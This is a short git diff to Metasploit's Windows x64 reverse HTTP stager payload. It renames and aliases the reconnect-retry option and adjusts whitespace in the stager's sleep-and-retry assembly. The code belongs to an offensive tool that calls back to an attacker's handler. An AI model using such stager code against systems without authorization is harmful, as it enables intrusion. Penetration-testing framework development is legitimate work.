try_it_again: diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 004db9324c..a9048731b4 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64 super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), @@ -366,13 +367,13 @@ module Payload::Windows::ReverseHttp_x64 call rbp test eax, eax jnz allocate_memory - + set_wait: mov rcx, #{retry_wait} ; dwMilliseconds mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} call rbp ; Sleep( dwMilliseconds ); ^ - + if retry_count > 0 asm << %Q^